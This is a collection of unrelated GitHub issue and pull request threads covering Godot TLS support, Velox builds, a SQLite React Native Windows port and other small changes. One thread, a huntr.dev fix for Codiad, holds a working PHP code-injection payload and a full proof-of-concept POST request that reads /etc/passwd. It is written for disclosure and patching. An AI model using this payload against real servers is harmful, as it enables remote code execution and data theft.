WebSocketPeer uses TLSv1.2 and can't change to TLSv1.3

Tested versions
v4.2.1.stable.official [15073afe3]
...
Godot_v4.3-dev6_linux
System information
Godot v4.2.2.stable - Ubuntu 23.10 23.10 - X11 - GLES3 (Compatibility) - llvmpipe (LLVM 15.0.7, 256 bits) () - AMD Ryzen 9 5900X 12-Core Processor (24 Threads)
Issue description

I'm connecting to a WSS source from Godot. Wireshark shows that it uses TLSv1.2 protocol.
The connection is STATE_OPEN, but packets are not sent from server to me.
When I'm testing the same WSS address in Postman everything works perfectly and Wireshark shows that TLSv1.3 is used. Also there are some other differences.
Also, the documentation is absolutely useless. So nobody knows if this is a Godot bug, or just outdated version or something that is possible to fix in code, but unclear how!
I asked about the problem 4 times in discord and literally 0 answers.
Steps to reproduce
connect to any websocket that is uses TLSv1.3
Minimal reproduction project (MRP)
Archive.zip
For some unclear reason this MRP can't even connect with 100% the same code as original.

Please don't do that, this is a breach of our Code of Conduct.
We can understand frustration, but we shouldn't have to put up with it in our bug tracker. This doesn't make contributors want to help solve your issue.
Now, if you could provide links to the documentation you're talking about and details in what you think is lacking, that would be constructive and actionable.

Now, if you could provide links to the documentation you're talking about and details in what you think is lacking, that would be constructive and actionable.

This whole article is useless - https://docs.godotengine.org/cs/4.x/classes/class_websocketpeer.html
Also this part in it:

Please define "useless", that's not in any way constructive or actionable criticism.
I see a lot of useful information there myself. Some descriptions might be lacking, and to know in what way they are lacking, we would benefit from you explaining what you were expecting to find and couldn't.

I'm expecting to find how to change TLS version at least

Ok, I heard that TLSv1.3 is due to be added soon. If it's true, then the issue can be closed.
I will just update my version

Ok, I heard that TLSv1.3 is due to be added soon. If it's true, then the issue can be closed. I will just update my version

Where did you hear this? I don't know if Godot uses a recent enough mbedTLS version to support TLS 1.3 (it probably does already).

Maybe it's wrong. So idk what to do with TLSv1.3

TLSv1.3 is supported by the used version of mbedTLS, but it is disabled:
https://github.com/godotengine/godot/blob/8e2141eac534f6984bb0bdbcefbd17de27ae0993/thirdparty/mbedtls/include/godot_module_mbedtls_config.h#L62-L65

So some actionables:

Clarify docs on the used TLS version, and that 1.3 isn't supported yet.
Clarify docs on how to use the supported_protocols property (what's the syntax, what are valid values)
Network team to open a new issue about enabling TLSv1.3 support in mbedTLS for 4.4.

@godotengine/network

Clarify docs on how to use the supported_protocols property (what's the syntax, what are valid values)

The documentation states supported_protocols specifies the WebSocket sub-protocol(s) to advertise during handshake.
This is part of the WebSocket standard (should we add this link in the docs?) and has nothing to do with the TLS version (which is not part of WebSocket itself).
The TLS version supported is explained in the HTTPClient, we should link to it from the websocket docs (like we do in the HTTPRequest class), and probably update it because AFAIR support for TLSv1.0/1.1 has been dropped (they have long been deprecated as insecure), so only TLSv1.2 is supported right now (98% of the web).

I'm sure this is obvious but this issue seems to also affect HTTP requests as I get this error

While trying to do basic Post and Get requests.

@Faless , TLS 1.3 is supported by 62% websites.
Hi here again. Is there any updates regarding this support?
I can't do anything further without it. IDK, I'm gonna redo my project with a different engine or just abandon it...

@DjSapsan there's a PR enabling it: https://github.com/godotengine/godot/pull/96394 , but there's an error when building with MSVC which I don't how how to solve.


Update README for build on MacOS

Tested on MacOS 14.4.1 w/ M1 chip.

Per https://github.com/facebookincubator/velox/issues/1446#issuecomment-1721311629, CPU_TARGET="arm64" is not needed any more.
Add INSTALL_PREFIX to address dependency installation permission issues in https://github.com/facebookincubator/velox/issues/2016

Some caveats on building Velox on Mac:

Use gm4, as m4 is missing in XCode Command Line Tools 15.3, per https://github.com/NetBSD/pkgsrc/commit/9d8d6f219d7d17ca40d39436369511c5d9b348e5.
Add both brew-installed bison and flex into $PATH, as the system default version of bison is too old for Velox.$ /usr/bin/bison --version
bison (GNU Bison) 2.3

CC: @majetideepak

@zuyu thanks for this change.
Can we add the caveats to the README as well?
Regarding m4, the recommendation is to use m4 from brew and add a path prefix. https://github.com/facebookincubator/velox/issues/9190#issuecomment-2092450555
Were you able to get gm4 to work?

Add both brew-installed bison and flex into $PATH

Is this required? The CMakeFile handles this. See comment around line 501
On macOS, search Homebrew for keg-only versions of Bison and Flex

@majetideepak you're right that brew-installed bison and flex do NOT need to add into $PATH at all.
-- Found Bison keg installed by Homebrew at /opt/homebrew/opt/bison
-- Found Flex keg installed by Homebrew at /opt/homebrew/opt/flex
-- Found BISON: /opt/homebrew/opt/bison/bin/bison (found suitable version "3.8.2", minimum required is "3.0.4")
-- Found FLEX: /opt/homebrew/opt/flex/bin/flex (found suitable version "2.6.4", minimum required is "2.5.13")

Regarding m4, I confirmed that it is exactly as gm4 by installing Command Line Tools for Xcode 15.3 downloaded from https://developer.apple.com/download/all/.
/usr/bin/m4 --version
GNU M4 1.4.6
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Written by Rene' Seindal.

But DO NOT install the manually downloaded CLT, as it would mess up the header search paths, thus causing compile errors introduced in https://reviews.llvm.org/D131441.
I prefer using the system provided gm4 by M4=/usr/bin/gm4 make, instead of m4 installed by brew. What do you think?

I prefer using the system provided gm4 by M4=/usr/bin/gm4 make, instead of m4 installed by brew. What do you think?

I do not have any experience with gm4. Let's add both options to the README. Users can pick either.


Saving some memory for echo.

You shouldn't be modifying anything inside the _libs directory, those should exist only as they are distributed. As for everything else, I'm worried that this is something of a micro-optimization. There are far larger problems than this that need to be fixed, and finite memory management is not one of Simplets goals.


Security Fix for Arbitrary Code Execution - huntr.dev

https://huntr.dev/users/mufeedvh has fixed the Arbitrary Code Execution vulnerability 🔨. mufeedvh has been awarded $25 for fixing the vulnerability through the huntr bug bounty program 💵. Think you could fix a vulnerability like this?
Get involved at https://huntr.dev/
Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | https://github.com/418sec/Codiad/pull/2
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/packagist/codiad/1/README.md
User Comments:
📊 Metadata *
Bounty URL: https://www.huntr.dev/bounties/1-packagist-codiad
⚙ Description *
The project Codiad accepted a POST request to the file/path /components/install/process.php where the parameter timezone when given a PHP payload (eval()), it will get executed after saving the config file (saveFile()).
💻 Technical Description *
The lack of validation of user input leads to Arbitrary Code Execution. The POST request parameter timezone accepted on /components/install/process.php wasn't sanitized/escaped to be passed into a PHP code execution function which when given a payload like:
'")%3b+system($_GET["cmd"])%3b+print("'

will give you a reverse shell on /data/config.php?cmd= => https://example.com/data/config.php?cmd=cat /etc/passwd.
🐛 Proof of Concept (PoC) *
POST Request to /components/install/process.php:
POST /components/install/process.php HTTP/1.1
Host: codiad.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Content-type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 170

path=/var/www/html/data&username=/tmp/dada&password=/tmp/dada&project_name=/tmp/dada&project_path=/var/www/html/data/data&timezone='")%3b+system($_GET["cmd"])%3b+print("'

🔥 Proof of Fix (PoF) *
Escaped the input value with preg_replace() where it doesn't allow any PHP function/code to be executed. As it's a timezone value, it will only accepts values like / make the value like:

Asia/Kolkata
America/Chicago
America/Managua

because it's passed to date_default_timezone_set() on line 163 so it should accept values like the examples above.
👍 User Acceptance Testing (UAT)
Escapes a user input with Regex to only accept timezone values, no other breaking changes are introduced.

@mufeedvh
Hey, I hope you don't mind me also adding this to Atheos, as it uses the same installation process.


Added RNW>=0.62 WinRT CPP implementation

This PR adds a CPP WinRT implementation that replaces the existing C# implementation which is not currently supported by the latest versions of RNW.
This version consumes C APIs provided by winsqlite3 directly, bypassing any wrappers.
The behavior is mostly identical to the previous implementation.
Implemented 'Attach()' method for Windows.
The new implementation supports RNW 0.62+
You can find tests/example app here: test/index.windows.callback.js
See it in action on Windows:

Taking a look at the existing legacy implementation, there are many more files. Can you expand the PR description to say exactly what functionality you're implementing and what is left to be done for later?

Taking a look at the existing legacy implementation, there are many more files in it. Can you expand the PR description to say exactly what functionality you're implementing and what is left to be done for later?

This implementation supports everything that was supported by the legacy C# implementation. The reason there is less code, is because the legacy implementation relied on .NET wrappers around native sqlite3 or winsqlite3 library. The code was hardcoded to use winsqlite3 implementation anyway, so most of it remained unused.
The new implementation dynamically links to winsqlite3.dll and directly uses the C++ APIs.

I think explaining the test plan in the description could be useful. Is there an example app in this repo that you're using? For a nice visual effect, you could also a screenshot of your test app in action in the PR description.
I am not exactly sure how testing is supposed to work. This project shipped with a sample app that doubled as tests in test directory.
The iOS callback test app (test/index.ios.callback.js) runs fine and passes on Windows. I have made a copy of it naming it test/index.windows.callback.js for clarity, but it is identical to the iOS one.
The Android tests use JSON1, which was not even supported on the stock Android emulator or by WinSqlite3. I am very confused as per what is going on there, but the iOS tests run fine on the Android emulator.

I will update the PR description with some details

@jonthysell

Functionally it looks good, but there are some issues with project files that need to be fixed.
How are you testing the module itself? Is there a test app somewhere?

Yep, there is a test app here test/index.windows.callback.js

Also, since the project puts the source under a "platforms" path, you'll want to update react-native.config.js with the windows platform in order to enable autolinking in RNW >= 0.63
Do I just need to add a path to the solution there for autolinking? Or do I need to do something similar to this:
https://github.com/react-native-progress-view/progress-view/blob/master/react-native.config.js
?

@jonthysell

Functionally it looks good, but there are some issues with project files that need to be fixed.
How are you testing the module itself? Is there a test app somewhere?

Yep, there is a test app here test/index.windows.callback.js

Also, since the project puts the source under a "platforms" path, you'll want to update react-native.config.js with the windows platform in order to enable autolinking in RNW >= 0.63
Do I just need to add a path to the solution there for autolinking? Or do I need to do something similar to this:
https://github.com/react-native-progress-view/progress-view/blob/master/react-native.config.js
?

@andpor my colleagues think that this PR is in good shape. Can you please take a look?

@andpor my colleagues think that this PR is in good shape. Can you please take a look?

@tsytsarkin this is great stuff. Since I am not a Windows developer I would feel much more comfortable having the original master developer @dryganets who authored the Windows implementation review the PR and provide his blessing if all is good. @dryganets Sergei would you have so time to take a look please?

@tsytsarkin this is great stuff. Since I am not a Windows developer I would feel much more comfortable having the original master developer @dryganets who authored the Windows implementation review the PR and provide his blessing if all is good. @dryganets Sergei would you have so time to take a look please?

I don't think Skype is using this C# UWP library anymore. @danmuresan can you confirm this?

I don't think Skype is using this C# UWP library anymore. @danmuresan can you confirm this?

@tsytsarkin what are the advantages of using your implementation vs. what Sergei had implemented originally? Can we introduce some set up mechanism to allow user's of the library to choose which implementation they would like to use? As @dryganets had hinted, backward compatibility is important - having both implementations would be very nice.

@tsytsarkin what are the advantages of using your implementation vs. what Sergei had implemented originally? Can we introduce some set up mechanism to allow user's of the library to choose which implementation they would like to use? As @dryganets had hinted, backward compatibility is important - having both implementations would be very nice.

@rigdern That is correct, Skype has deprecated UWP version and shouldn't be using this lib any longer

@rigdern That is correct, Skype has deprecated UWP version and shouldn't be using this lib any longer

@andpor my understanding is that C# version does not support the latest RNW, but I can be wrong. @rectified95 @jonthysell might be able to clarify.
The new version should be significantly faster, since it uses C++, plus it does not throw and catch exceptions internally for error handling. I have also noticed that there might be a race condition in the existing implementation. It states that AwaitingQueue is not thread safe. I believe there is a chance one thread can be adding a task to the queue while another is running the tasks in the queue and removing elements from it at the same time.
Also I have implemented attach() method to match other platforms.
The existing projects could just consume an older version, but I think I can make a change to keep both implementations. BTW, do we need to bump up the version number?

@andpor my understanding is that C# version does not support the latest RNW, but I can be wrong. @rectified95 @jonthysell might be able to clarify.
The new version should be significantly faster, since it uses C++, plus it does not throw and catch exceptions internally for error handling. I have also noticed that there might be a race condition in the existing implementation. It states that AwaitingQueue is not thread safe. I believe there is a chance one thread can be adding a task to the queue while another is running the tasks in the queue and removing elements from it at the same time.
Also I have implemented attach() method to match other platforms.
The existing projects could just consume an older version, but I think I can make a change to keep both implementations. BTW, do we need to bump up the version number?

To be able to speak about perf you need to be able to compare two
implementations on more or less the same load.
It might give different results for multiple concurrent queries and for
sequential blocking queries.
In our case bottlenecks were not where we initially thought.
We tried to move Android implementation from java to C++. Not saying that
our implementation was perfect but we didn't see enough perf improvement to
justify it.
It is much easier to support C# implementation in the long run.
That's something you need to bear in mind.
On Thu, Jan 28, 2021, 10:15 AM Nikita Tsytsarkin<EMAIL_ADDRESS>wrote:

@andpor https://github.com/andpor my understanding is that C# version
does not support the latest RNW, but I can be wrong. @rectified95
https://github.com/rectified95 @jonthysell
https://github.com/jonthysell might be able to clarify.
The new version should be significantly faster, since it uses C++, plus it
does not throw and catch exceptions internally for error handling. I have
also noticed that there might be a race condition in the existing
implementation. It states that AwaitingQueue is not thread safe. I believe
there is a chance one thread can be adding a task to the queue while
another is running the tasks in the queue and removing elements from it at
the same time.
Also I have implemented attach() method to match other platforms.
The existing projects could just consume an older version, but I think I
can make a change to keep both implementations. BTW, do we need to bump up
the version number?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/andpor/react-native-sqlite-storage/pull/461#issuecomment-769277856,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAANHWNWQKG4JWJKYICEFTLS4GSTDANCNFSM4VT2DUKQ
.

To be able to speak about perf you need to be able to compare two
implementations on more or less the same load.
It might give different results for multiple concurrent queries and for
sequential blocking queries.
In our case bottlenecks were not where we initially thought.
We tried to move Android implementation from java to C++. Not saying that
our implementation was perfect but we didn't see enough perf improvement to
justify it.
It is much easier to support C# implementation in the long run.
That's something you need to bear in mind.
On Thu, Jan 28, 2021, 10:15 AM Nikita Tsytsarkin<EMAIL_ADDRESS>wrote:

@andpor https://github.com/andpor my understanding is that C# version
does not support the latest RNW, but I can be wrong. @rectified95
https://github.com/rectified95 @jonthysell
https://github.com/jonthysell might be able to clarify.
The new version should be significantly faster, since it uses C++, plus it
does not throw and catch exceptions internally for error handling. I have
also noticed that there might be a race condition in the existing
implementation. It states that AwaitingQueue is not thread safe. I believe
there is a chance one thread can be adding a task to the queue while
another is running the tasks in the queue and removing elements from it at
the same time.
Also I have implemented attach() method to match other platforms.
The existing projects could just consume an older version, but I think I
can make a change to keep both implementations. BTW, do we need to bump up
the version number?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/andpor/react-native-sqlite-storage/pull/461#issuecomment-769277856,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAANHWNWQKG4JWJKYICEFTLS4GSTDANCNFSM4VT2DUKQ
.

@dryganets, It seems like you can consume C++ modules in both C# and C++ projects, but C# modules only in C# projects according to this compat matrix: https://microsoft.github.io/react-native-windows/docs/next/native-code-language-choice
The underlying APIs are C based, and this module is mostly a wrapper around those APIs with fairly minimal logic. I am not sure if maintaining C# implementation will be easier, especially when it is adding an unnecessary layer of abstraction in a form of SQLite.Net-PCL.
We can keep both versions in that case

@dryganets, It seems like you can consume C++ modules in both C# and C++ projects, but C# modules only in C# projects according to this compat matrix: https://microsoft.github.io/react-native-windows/docs/next/native-code-language-choice
The underlying APIs are C based, and this module is mostly a wrapper around those APIs with fairly minimal logic. I am not sure if maintaining C# implementation will be easier, especially when it is adding an unnecessary layer of abstraction in a form of SQLite.Net-PCL.
We can keep both versions in that case

Fair enough.
I have to give a credit to @rigdern as he made initial implementation for UWP not me. I just contributed the code to this repo.
By support I meant a little bit different thing - it is much easier to work with threads in .net vs c++ and in some scenarios for example when you have multiple databases multiple threads might come handy.
The current implementation is a little bit more than just pure wrapper over c++ API as it is multi-threaded and handles  some of .net await quirks.
Though I don't think that .net implementation will be updated anytime soon.
It probably make sense to keep it around for a while but if there is nobody to support it it is better to have a single official API for the platform.
And whoever will maintain it should make a decision to keep one or another.
I definitely won't be able to maintain it - I don't even have a Windows now :)

Fair enough.
I have to give a credit to @rigdern as he made initial implementation for UWP not me. I just contributed the code to this repo.
By support I meant a little bit different thing - it is much easier to work with threads in .net vs c++ and in some scenarios for example when you have multiple databases multiple threads might come handy.
The current implementation is a little bit more than just pure wrapper over c++ API as it is multi-threaded and handles  some of .net await quirks.
Though I don't think that .net implementation will be updated anytime soon.
It probably make sense to keep it around for a while but if there is nobody to support it it is better to have a single official API for the platform.
And whoever will maintain it should make a decision to keep one or another.
I definitely won't be able to maintain it - I don't even have a Windows now :)

I will put back C# implementation tomorrow. BTW, I believe C++ WinRT has identical APIs for everything available in .NET including all that await threading stuff.

I will put back C# implementation tomorrow. BTW, I believe C++ WinRT has identical APIs for everything available in .NET including all that await threading stuff.

@tsytsarkin since there is apparently nobody willing to support the original .NET implementation and several people including @dryganets approved the changes I conclude it should be ok to keep only the new version since it can be used in both environments. I am also not a Windows person so relying to your expert opinions.

@tsytsarkin since there is apparently nobody willing to support the original .NET implementation and several people including @dryganets approved the changes I conclude it should be ok to keep only the new version since it can be used in both environments. I am also not a Windows person so relying to your expert opinions.

The old implementation of this module uses the old incarnation of React Native Windows, which has been deprecated for a while. Nik's new implementations is the way forward. If you want to retain a C# implementation, you need to rewrite the existing one anyway, in order to implement the new set of ABI-safe interfaces we expose for custom view managers.

The old implementation of this module uses the old incarnation of React Native Windows, which has been deprecated for a while. Nik's new implementations is the way forward. If you want to retain a C# implementation, you need to rewrite the existing one anyway, in order to implement the new set of ABI-safe interfaces we expose for custom view managers.

Sounds convincing...I will merge this in and cut a release with a few other bug fixes within a week or so.

Sounds convincing...I will merge this in and cut a release with a few other bug fixes within a week or so.

Awesome, thanks!

Awesome, thanks!

@andpor Is there anything else you'd like to check before merging the PR?

@andpor a gentle ping

@andpor another gentle ping

@andpor Pinging this

@aks427 Do you know a way to contact this repo's maintainer?

@aks427 Do you know a way to contact this repo's maintainer?

No, I don't. I'm also waiting for this to be merged.
As a temporary workaround until this is merged you can do something like this in your package.json file: "react-native-sqlite-storage": "git://github.com/tsytsarkin/react-native-sqlite-storage.git#e694dd10ce7e46e0dc9136f1527a93c670bbe874"

@rectified95 I will try to dedicate some time this week. Been very busy recently ...

@tsytsarkin
Hello (:
I've been trying to build a small windows app and I intended to use a sqlite storage; I've been using this PR as the source for my react-native-storage module.
I have found an encoding bug that seem to be related to the native module ; when using parameterized queries, after putting some logging here and there, the request string seem correctly formed by RN-sqlite-storage :
 SQLite.backgroundExecuteSqlBatch({"dbargs":{"dbname":"AppDatabase"},"executes":[{"qid":1111,"sql":"SELECT 1","params":[]},{"qid":1111,"sql":"INSERT INTO User (name, description) VALUES (?, ?);","params":["'John Doe'","'inspirational description'"]}]})
But read requests will return the right amount of characters, but only placeholder characters (the <?> icon), whereas
sql":"INSERT INTO User (name, description) VALUES (John Doe, inspirational description);","params":[ ]
will work as intended. I'll try to do a test app just to check if this happens on every requests or if it's more specifically linked to my syntax, and I'll add some screenshots.
Would be cool if you were to keep working on this PR :)

@tsytsarkin
Hello (:
I've been trying to build a small windows app and I intended to use a sqlite storage; I've been using this PR as the source for my react-native-storage module.
I have found an encoding bug that seem to be related to the native module ; when using parameterized queries, after putting some logging here and there, the request string seem correctly formed by RN-sqlite-storage :
 SQLite.backgroundExecuteSqlBatch({"dbargs":{"dbname":"AppDatabase"},"executes":[{"qid":1111,"sql":"SELECT 1","params":[]},{"qid":1111,"sql":"INSERT INTO User (name, description) VALUES (?, ?);","params":["'John Doe'","'inspirational description'"]}]})
But read requests will return the right amount of characters, but only placeholder characters (the <?> icon), whereas
sql":"INSERT INTO User (name, description) VALUES (John Doe, inspirational description);","params":[ ]
will work as intended. I'll try to do a test app just to check if this happens on every requests or if it's more specifically linked to my syntax, and I'll add some screenshots.
Would be cool if you were to keep working on this PR :)

Let me investigate this. Have you tried opening the database file with some 3rd party tools? Does the data persist properly?  Is it only an issue with reads?
Windows is using Unicode so I suspect that where the issue might be coming from.

Hello @tsytsarkin !
I'm back :) And bringing some bad news, since it doesn't seem like the error came from my end.
I created an extremely simple app designed to reproduce the issue (3 buttons to generate SQL, one to log the db content) and it seems to happen even stripped down to it's simplest core.
Here is a link to the demo (all the little code I created is contained in App.js) : https://github.com/JeanNicolasdeLamballerie/testingSQliteWindows
(just git clone / yarn install / npx react-native run-windows should be enough)
Here is how the db behaves :

I included the FS (terminal) error because although nothing breaks, it seems to be related to the lib (and it happened in the most minimal scenario I could think of with only R-N-sqlite-storage installed. It might be me derping the initial call to the db or something though. )
I used SQLite Studio and DB Browser for Sqlite to get those; DB browser recognizes the parameterized strings as binary data (but definitely cannot translate it), while SQLite Studio returns the same thing as a browser (aka, "���������").
Basically, method 1 seem to always have that side effect as soon as strings are parameterized. I'll check in a bit if other data types have the same kind of issues when parameterized.
Thanks for the quick answer, I hope this helps troubleshoot the issue :)
(BTW : running a PRAGMA encoding on the sqlite DBs returned a classic utf8, so it seems the issue is happening when the native module receives the params and interprets them.)
PS : Here's all the meaningful code if you don't want to open the minimal project (I generate the db & table on Mount of the component in previous code, and allow interacting with the db only if the connection is established). Sorry if it's a bit ugly to read but it showcases the error.
  const logResults = (resultSet) => {

    for (let i = 0; i<resultSet.rows.length; i++) {
      console.log(i, '=>', resultSet.rows.item(i))
    }
  }
    const method1 = () => database.transaction( // Output is unreadable  ("���������");
    tx => tx.executeSql('INSERT INTO User (name, description) VALUES (?, ?);', ['John Doe', 'method 1 inspirational description'], (tx, resultSet) => console.log("result : ", resultSet, tx), (a, b) => console.log("error :", a, b) )
  );
  const method2 = () => database.transaction(
    tx => tx.executeSql(`INSERT INTO User (name, description) VALUES ('John Doe', 'method 2 inspirational description');`, [], (tx, resultSet) => console.log("result : ", resultSet, tx), (a, b) => console.log("error :", a, b) )
  );
  const method3 = () => database.transaction(
    tx => tx.executeSql(`INSERT INTO User (name, description) VALUES ("JohnDoe", "method3inspirationaldescription");`, [], (tx, resultSet) => console.log("result : ", resultSet, tx), (a, b) => console.log("error :", a, b) )
  );
  const method4 = () => database.transaction( //Does not work; throws error "no such column : JohnDoe"
    tx => tx.executeSql(`INSERT INTO User (name, description) VALUES (JohnDoe, method4inspirationaldescription);`, [], (tx, resultSet) => console.log("result : ", resultSet, tx), (a, b) => console.log("error :", a, b) )
  );
  const Logging = () =>database.transaction(
    tx => tx.executeSql(`SELECT * FROM User ORDER BY id ASC;`,[], (tx, resultSet) => logResults(resultSet), (a, b) => console.log("error :", a, b)));

(On a side note; I code in TypeScript and sometimes the success cb in executeSql(sqlString, [],(transaction, results)=> (...) has only (results) => (...) as a callback. I was experimenting with RN-Sqlite-2 (before switching back to this PR as a source for the module) that has no promise support so I kept some of those callbacks for now, and while the Typing tells me the first argument is always a transaction, i'm definitely getting results instead.
The code works but Typescript hates it (telling me that a transaction doesn't have rows nor items and that the types don't match when trying to access the result set data).
Could this come from a small implementation error that doesn't reflect the Typing of the lib, or is it most likely on my end/ a general library issue ?
)

The data persists normally (well, as normally as possible) and the db file doesn't seem corrupted - although most of the data is unreadable, there doesn't seem to be any issue with the db itself. I'll try some more use cases to check if I can get a different behavior, but in the meantime I'm assuming it's the native module mishandling those strings

@JeanNicolasdeLamballerie I have pushed the fix.
Thanks a lot for such a detailed analysis and all your help. This one was pretty hard to debug. The issue was not encoding related as I originally thought. The problem was with the memory management.
Turns out each INSERT operation was handled in 2 batches: ["BEGIN", "INSERT"] and ["COMMIT"]. The problem with the text arguments was that the text values were not copied over at the time when the INSERT operation was executed. sqlite3_bind_text would only reference the text by pointer, and executing INSERT did nothing until COMMIT was executed. Since COMMIT was being executed in a separate batch, all the memory was getting overwritten by garbage by the time copy operation actually happened.
Integers and other types were not affected, since those were copied by value at the time of bind.
I added SQLITE_TRANSIENT flag to make sure that data is getting copied at the time of bind operation.

@JeanNicolasdeLamballerie with regards to your typescript comment - I am not sure. I am a C++ developer and this is my first time working with React. Feel free to create a PR into the main repo if you figure it out.

@tsytsarkin Awesome news, thanks !
Great job on the quick fix, that indeed sounds like a weirdly specific issue to debug - although it all makes sense now that you figured it out.
Thanks anyway ! I'll check out my own code first to make sure I'm not the one messing it up though..!

@JeanNicolasdeLamballerie I have pushed the fix.
Thanks a lot for such a detailed analysis and all your help. This one was pretty hard to debug. The issue was not encoding related as I originally thought. The problem was with the memory management.
Turns out each INSERT operation was handled in 2 batches: ["BEGIN", "INSERT"] and ["COMMIT"]. The problem with the text arguments was that the text values were not copied over at the time when the INSERT operation was executed. sqlite3_bind_text would only reference the text by pointer, and executing INSERT did nothing until COMMIT was executed. Since COMMIT was being executed in a separate batch, all the memory was getting overwritten by garbage by the time copy operation actually happened.
Integers and other types were not affected, since those were copied by value at the time of bind.
I added SQLITE_TRANSIENT flag to make sure that data is getting copied at the time of bind operation.

please merge to the master branch

@JeanNicolasdeLamballerie I have pushed the fix.
Thanks a lot for such a detailed analysis and all your help. This one was pretty hard to debug. The issue was not encoding related as I originally thought. The problem was with the memory management.
Turns out each INSERT operation was handled in 2 batches: ["BEGIN", "INSERT"] and ["COMMIT"]. The problem with the text arguments was that the text values were not copied over at the time when the INSERT operation was executed. sqlite3_bind_text would only reference the text by pointer, and executing INSERT did nothing until COMMIT was executed. Since COMMIT was being executed in a separate batch, all the memory was getting overwritten by garbage by the time copy operation actually happened.
Integers and other types were not affected, since those were copied by value at the time of bind.
I added SQLITE_TRANSIENT flag to make sure that data is getting copied at the time of bind operation.

please merge to the master branch

Unfortunately, only @andpor has the permissions to.
@andpor can you please review and check this in? It has been 9 month since the PR was created

I merged this just now. Apologies for long delay....personal issue prohibited me from taking care of this earlier.

@tsytsarkin hi there, could you perhaps find some time to add Windows usage information to the readme file?

Hi @andpor, thanks a lot for merging this! As for usage instructions, I have already updated readme. RNW 0.63+ should automatically configure the package and there are manual steps listed in the readme for RNW 0.62.


Update 20210511-naming-conventions.md

@felipecruz91 My proposal :)

Given that the official Tekton documentation doesn't suggest any specific naming convention for params, let's go with your proposal :)


Quoted references are deprecated

Hey @TimJones can you merge these little changes to your terraform 12 branch? I'd like to suppress these warnings


Fix #56

Hi kerwitz,
Can you add
    "ext-mbstring": "*"

in the require section of composer.json ? If you use mb_* functions you better make sure poeple have mbstring extension installed.

There you go :+1:

:+1:


Terraform CDK?

Do you think it's a better idea to use terraform CDK than an embedded tf file?
Not sure if it would drastically improve the codebase or feature? If yes, I am willing to contribute :) and help!

Thanks for the suggestion? Is there a specific pain point you'd be looking to solve/improve?

No pain point, just a suggestion to "improve" the code base? Not sure if this is really needed, but could improve the link between the rules and terraform.


Message from debugger: Terminated due to memory issue

Library is crashing on real device.

iPhone X with iOS 13.1.2.
Last pod.

When i tap the "take" button, the app crash with a "Message from debugger: Terminated due to memory issue" error.

I think that is an iOS 13 bug.
Same issue with other libraries, until i restarted the iphone.


Time range label on screenshots is incorrect

The time range displayed on a screenshot does not match the actual range for the graph displayed.


Remove PartiallyOrdered handling from BoundedWindowAggExec and AggregateExec

Which issue does this PR close?

Closes #.
Rationale for this change

What changes are included in this PR?

Are these changes tested?

Are there any user-facing changes?

According to comparison this behaviour harms performance. I did compare following plans
"AggregateExec: mode=Partial, gby=[a@0 as a, b@1 as b, d@3 as d], aggr=[sum1], ordering_mode=Sorted",
"  PartialSortExec: expr=[a@0 ASC,b@1 ASC,d@3 ASC], common_prefix_length=[2]",
"    MemoryExec: partitions=1, partition_sizes=[61], output_ordering=a@0 ASC,b@1 ASC,c@2 ASC",

and
"AggregateExec: mode=Partial, gby=[a@0 as a, b@1 as b, d@3 as d], aggr=[sum1], ordering_mode=PartiallySorted([0, 1])",
"  MemoryExec: partitions=1, partition_sizes=[61], output_ordering=a@0 ASC,b@1 ASC,c@2 ASC",

according to tests performance of the second version is better. Hence, this change is not beneficial in terms of performance.

Since the benefit is marginal, let's keep this one the backburner for a while and revisit later.


How can I use YOLO custom model?

I made my custom model with darknet, and I want to change darknet to tensorRT.
I used my custom pill weights, yolo-pill-416.weights, but when I run the tensorRT, the detecting name is not my data, it is coco.data
how can I change the data?

You could define your own "cls_dict" in the source code.  Refer to: https://github.com/jkjung-avt/tensorrt_demos/blob/ecedc327fbf28eaa081c4cbf3773020e5b79005e/trt_yolo.py#L91
For example, you could replace that line with:
    cls_dict = { 0: 'foo', 1: 'bar', 2: 'baz' }


[RFC] Html Encode and Decode

If you are OK with this concept I could add the functions to the static class as well tests. As well docs.

Ok I wrote tests, methods for the concrete and static classes, and docs.
What you think?

Looks solid, thanks! :smile:

Cool thanks @danielstjules


Support for MUI v5 early versions

Hi,
MUI v5 is available in an early alpha version. The peer dependency declaration to limit the support for MUI 4 only is reasonable.
So far, MUI v5 introduced smaller changes, which are not reflected in the current RTE version, such as removing a buttons color value "default" and or minor modification to how to define Grid flex behavior.
In summary, these changes are relatively minimal and not breaking the current RTE behavior significantly. For this reason, maybe an RTE@next deployment is possible with those changes made; otherwise, I have to do a separate deployment.
Thx!

MUI v5 is in beta now with a stable release coming soon (Q3 2021) so this will be needed shortly!

MUI v5 stable release done, please upgrade the package

@gurkerl83 @talisto @arpitBhalla
Version 2.0.0 added compatibility with MUI (Material-UI v5). Check it here.


ngclient: review snapshot hashes/length check

Update process if timestamp meta contains hashes for snapshot:

local root is loaded, root is updated until final
local timestamp is loaded
timestamp is updated (meta (version, hashes, length) for snapshot changes here)
local snapshot is loaded  (hashes and length do not match the data in timestamp, preventing loading)
remote snapshot is loaded -- rollback checks are not done because the old snapshot was not loaded

The same issues do not exist for targets as they have no rollback checks.
Similar issues for version numbers and expiry are being fixed by delaying the checks until we know we have the "final" snapshot. We don't want to do the exact same thing here as the hashes are meant to prevent even parsing data we don't trust... This seems to be a case where "trusted local metadata" and "untrusted data from network" is the deciding factor. TrustedMetadataSet does not have this information currently so possibly we need to add an argument to update_snapshot():
def update_snapshot(self, data: bytes, trusted: Optional[bool] = False)

where trusted data would not be hash/length checked, but untrusted data would. Looks a bit ugly since none of the other update functions need this but it would seem to work in all cases:

